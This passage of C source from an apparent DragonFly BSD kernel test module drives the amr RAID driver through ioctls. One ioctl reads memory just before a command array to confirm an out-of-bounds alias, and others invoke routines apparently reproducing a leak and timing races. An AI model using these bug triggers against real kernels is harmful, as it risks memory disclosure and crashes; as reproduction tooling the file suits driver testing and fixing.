offsetof(struct amr_command, ac_flags); a->off_ac_complete = offsetof(struct amr_command, ac_complete); a->sizeof_softc = sizeof(struct amr_softc); a->sizeof_command = sizeof(struct amr_command); a->sizeof_mailbox = sizeof(struct amr_mailbox); /* empirically prove the amr_busycmd[-1] alias */ sc = rig_new_softc(0); if (sc != NULL) { a->busykm1_value = *(uint64_t *)((uint8_t *)sc + a->off_busycmd - 8); a->ready_stqh_last = (uintptr_t)&sc->amr_ready.stqh_first; a->mchecked = (a->busykm1_value == a->ready_stqh_last); } break; } case RIGIOC_4059B: { struct rig_4059b_args *a = (struct rig_4059b_args *)data; if (!rig_primed()) { a->primed = 0; break; } a->primed = 1; rig_run_4059b(a); break; } case RIGIOC_4059LEAK: { struct rig_4059leak_args *a = (struct rig_4059leak_args *)data; if (!rig_primed()) { a->primed = 0; break; } a->primed = 1; rig_run_4059leak(a); break; } case RIGIOC_4059A: { struct rig_4059a_args *a = (struct rig_4059a_args *)data; if (!rig_primed()) { a->primed = 0; break; } a->primed = 1; rig_run_4059a(a); break; } case RIGIOC_4060TMO: { struct rig_4060tmo_args *a = (struct rig_4060tmo_args *)data; if (!rig_primed()) { a->primed = 0; break; } a->primed = 1; rig_run_4060tmo(a); break; } case RIGIOC_4060LATE: { struct rig_4060late_args *a = (struct rig_4060late_args *)data; if (!rig_primed()) { a->primed = 0; break; } a->primed = 1; rig_run_4060late(a); break; } default: error = ENOIOCTL; break; } lockmgr(&rig_lock, LK_RELEASE); return (error); } /* ------------------------------------------------------------------ */ /* Module glue */ /* ------------------------------------------------------------------ */ static int dfamr_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: lockinit(&rig_lock, "dfamr", 0, LK_CANRECURSE); rig_fake_dev.driver = &rig_fake_driver; rig_fake_dev.unit = 0; cluster_snap = kmalloc(AMR_CMD_CLUSTERSIZE, M_DEVBUF, M_INTWAIT | M_ZERO); regpage = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO); rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_WHEEL, 0600, "dfamr0"); kprintf("[amrrig] loaded (production handlers: amr_done " "linked; statics primed via sysctl)\n"); return (0); case MOD_UNLOAD: destroy_dev(rig_cdev); return (0); default: return (EOPNOTSUPP); } } DEV_MODULE(dfamr_rig, dfamr_modevent, NULL);